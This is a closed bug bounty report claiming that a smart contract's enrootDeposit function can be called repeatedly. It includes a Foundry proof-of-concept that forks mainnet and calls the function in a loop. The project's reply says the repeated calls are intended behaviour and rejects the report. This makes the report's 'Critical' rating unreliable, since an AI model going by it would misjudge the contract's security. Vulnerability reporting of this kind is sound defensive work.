πŸ“„

Report #13921

Report Date
November 25, 2022
Status
Closed
Payout

Possible Bug - function enrootDeposit

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Report Info

Report ID

#13921

Target

Report type

Smart Contract

Impacts

Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Has PoC?

Yes

Bug Description

After deposit, enrootDeposit function can be called many times. Provided that the attacker calls the function with the same season the deposit was made.

Steps:

  1. Deposit using external mode
  2. Call enrootDeposit (loop)

Impact

To a very skilled hacker a simple Business logic flaw like this could be an ingredient to stage a major attack on the overall protocol.

Risk Breakdown

Difficulty to Exploit: Easy

Recommendation

After enrootDeposit function is called with same args. The protocol should be able to recognize the call and revert any additional calls that use the same args.

Proof of concept

// SPDX-License-Identifier: MIT pragma solidity 0.8.10;

import "forge-std/Test.sol"; import "forge-std/console.sol";

/*Key Information Attack Name : Multi-Enroot Calls Summary : Enroot can be called multiple times in same season

Risk Assessment : Critical Vulnerable Contract : Diamond -> SiloFacet.sol Vulnerable Function(s) : Function enrootDeposit Vulnerable Type : Multiple Call Tools Used : Sol2UML, VS-Surya, Foundry and Slither Research links of Vulnerability : N/A

POC-Written by : Sentient-X twitter : @sentient_x

Disclaimer - This POC is the product of the authors best understanding of the project and associated vulnerability all claims to be proven. */

address constant BEAN_POOL = 0xc9C32cd16Bf7eFB85Ff14e0c8603cc90F6F2eE49; //CURVE_BEAN_METAPOOL address constant DIAMOND = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;

address constant BEAN3CRV = 0xc9C32cd16Bf7eFB85Ff14e0c8603cc90F6F2eE49; //CURVE_BEAN_METAPOOL

//Bean tokens address constant BEAN_LP = 0x1BEA3CcD22F4EBd3d37d731BA31Eeca95713716D; //urBEAN3CRV address constant BEAN = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab; //BEAN Token address constant urBEAN = 0x1BEA0050E63e05FBb5D8BA2f10cf5800B6224449; //urBEAN Token

address constant Crv = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; //Curve.fi DAI/USDC/USDT (3Crv) address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

contract ContractTest is Test { ICurve private constant pool = ICurve(BEAN_POOL); IDIAMOND private constant diamond = IDIAMOND(DIAMOND);

IERC20 public constant lpToken = IERC20(BEAN_LP); IERC20 public constant bean = IERC20(BEAN); IERC20 public constant urbean = IERC20(urBEAN); IERC20 public constant crv = IERC20(Crv); IERC20 public constant bean2 = IERC20(BEAN3CRV); IERC20 public constant usdc = IERC20(USDC);

address alice = vm.addr(1); address user = 0x3a7268413227Aed893057a8eB21299b36ec3477e;

function setUp() public { vm.createSelectFork("mainnet",15973462); //fork mainnet at block 15948124 }

function testDeposit() external payable {

//deal address(this) 1 bean deal(address(bean), address(this), 1000e18); assertEq(bean.balanceOf(address(this)), 1000e18);

bean.approve(address(diamond), type(uint).max); diamond.approveDeposit(address(bean), address(this), type(uint).max); diamond.deposit(address(bean), 1000e18, 2);

//diamond.enrootDeposit(address(bean), 8487, 1000e18); diamond.enrootDeposit(address(bean), 8487, 1000e18);

//expect this enroot loop to revert, since the deposit in season 8487 is already enrooted for(uint i = 1; i < 9999; i++){ (bool success,) = address(diamond).call(abi.encodeWithSignature("enrootDeposit(address,uint32,uint256)", address(bean), 8487, 1000e18)); require(success);

}

} }

/interface starts here**/

interface ICurve { function get_virtual_price() external view returns (uint);

function remove_liquidity(uint lp, uint[2] calldata min_amounts) external returns (uint[2] memory);

function add_liquidity(uint[2] calldata _amounts, uint _min_mint_amount) external payable returns (uint);

function remove_liquidity_one_coin( uint lp, int128 i, uint min_amount ) external returns (uint);

function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) external; }

interface IERC20 { function totalSupply() external view returns (uint);

function balanceOf(address account) external view returns (uint);

function transfer(address recipient, uint amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint amount) external returns (bool);

function transferFrom( address sender, address recipient, uint amount ) external returns (bool);

event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); }

interface IDIAMOND { function approveDeposit(address token, address account, uint256 amount) external; function deposit(address token ,uint256 amount , uint8 mode) external; function withdrawDeposit(address token, uint32 season, uint256 amount) external; function updateSilo(address account) external; function convert(bytes calldata convertData, uint32[] memory crates, uint256[] memory amounts) external; function withdrawDeposits(address token, uint32[] calldata seasons, uint256[] calldata amounts) external; function buyAndDepositBeans(uint256 amount, uint256 buyAmount) external; function plant() external; function enrootDeposit(address token, uint32 _season, uint256 amount) external; function harvest(uint256[] calldata plots) external; function mintFertilizer(uint128 amount, uint256 minLP, uint8 mode) external; function chop(address token, uint256 amount, uint8, uint8) external; function balanceOfStalk(address account) external; function claimWithdrawal(address, uint32, uint8) external; function claimPlenty() external; function withdrawFreeze() external; function transferDeposit(address sender, address recipient, address token, uint32 season, uint256 amount) external; function sunrise() external; function owner() external; function balanceOfSeeds(address account) external;

}

BIC Response

It’s unclear what the attack vector is in this bug report. Repeated calling of enrootDeposit(s) is intentional and expected behavior.

For this reason, we are closing the submission and no reward will be issued.